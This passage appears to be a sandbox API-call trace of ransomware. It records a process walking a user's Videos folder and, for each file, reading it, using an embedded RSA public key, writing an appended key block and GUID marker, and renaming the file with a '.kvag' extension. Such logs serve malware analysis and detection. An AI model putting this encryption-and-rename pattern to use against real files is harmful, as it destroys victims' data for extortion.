(in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.385] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.385] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.385] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.385] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.385] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.385] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.385] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.385] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.386] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.386] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.386] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.386] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.386] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.387] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.387] CloseHandle (hObject=0x61c) returned 1 [0121.388] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\OVSC.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\ovsc.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\OVSC.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\ovsc.swf.kvag")) returned 1 [0121.389] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e1a030, ftCreationTime.dwHighDateTime=0x1d4d24c, ftLastAccessTime.dwLowDateTime=0xfdabb810, ftLastAccessTime.dwHighDateTime=0x1d4c808, ftLastWriteTime.dwLowDateTime=0xfdabb810, ftLastWriteTime.dwHighDateTime=0x1d4c808, nFileSizeHigh=0x0, nFileSizeLow=0x1009e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UhhXjArBY.swf", cAlternateFileName="UHHXJA~1.SWF")) returned 1 [0121.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\UhhXjArBY.swf") returned=".swf" [0121.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\UhhXjArBY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uhhxjarby.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.389] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=65694) returned 1 [0121.390] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.392] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.392] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.393] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1009e, lpOverlapped=0x0) returned 1 [0121.394] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.394] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.394] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.394] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.395] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.395] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.395] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.395] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.395] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.395] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.395] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.395] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.395] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.396] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.396] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1009e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.396] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.396] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.396] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.396] CloseHandle (hObject=0x61c) returned 1 [0121.397] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\UhhXjArBY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uhhxjarby.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\UhhXjArBY.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uhhxjarby.swf.kvag")) returned 1 [0121.399] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf917a40, ftCreationTime.dwHighDateTime=0x1d4c655, ftLastAccessTime.dwLowDateTime=0x2d81a50, ftLastAccessTime.dwHighDateTime=0x1d4cbf5, ftLastWriteTime.dwLowDateTime=0x2d81a50, ftLastWriteTime.dwHighDateTime=0x1d4cbf5, nFileSizeHigh=0x0, nFileSizeLow=0x16b0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uQ8X_zB.flv", cAlternateFileName="")) returned 1 [0121.399] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\uQ8X_zB.flv") returned=".flv" [0121.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\uQ8X_zB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uq8x_zb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.399] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=92940) returned 1 [0121.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.401] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16ae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.401] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.403] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16b0c, lpOverlapped=0x0) returned 1 [0121.404] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.404] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.404] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.404] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.405] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.405] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.405] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.405] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.405] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.405] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.405] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.405] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.405] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.405] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.406] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16b0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.406] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.406] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.406] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.406] CloseHandle (hObject=0x61c) returned 1 [0121.407] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\uQ8X_zB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uq8x_zb.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\uQ8X_zB.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\uq8x_zb.flv.kvag")) returned 1 [0121.409] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d44ba0, ftCreationTime.dwHighDateTime=0x1d4ce56, ftLastAccessTime.dwLowDateTime=0x8ebd73f0, ftLastAccessTime.dwHighDateTime=0x1d4ceff, ftLastWriteTime.dwLowDateTime=0x8ebd73f0, ftLastWriteTime.dwHighDateTime=0x1d4ceff, nFileSizeHigh=0x0, nFileSizeLow=0x89b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vy43O2Ond- g.swf", cAlternateFileName="VY43O2~1.SWF")) returned 1 [0121.409] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\vy43O2Ond- g.swf") returned=".swf" [0121.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\vy43O2Ond- g.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\vy43o2ond- g.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.409] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=35253) returned 1 [0121.409] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.411] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x898f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.411] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.413] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x89b5, lpOverlapped=0x0) returned 1 [0121.414] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.414] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.414] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.414] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.415] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.415] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.415] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.415] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.415] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.415] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.415] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.415] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.415] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.415] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.416] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x89b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.416] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.416] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.416] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.416] CloseHandle (hObject=0x61c) returned 1 [0121.417] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\vy43O2Ond- g.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\vy43o2ond- g.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\vy43O2Ond- g.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\vy43o2ond- g.swf.kvag")) returned 1 [0121.419] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d44ba0, ftCreationTime.dwHighDateTime=0x1d4ce56, ftLastAccessTime.dwLowDateTime=0x8ebd73f0, ftLastAccessTime.dwHighDateTime=0x1d4ceff, 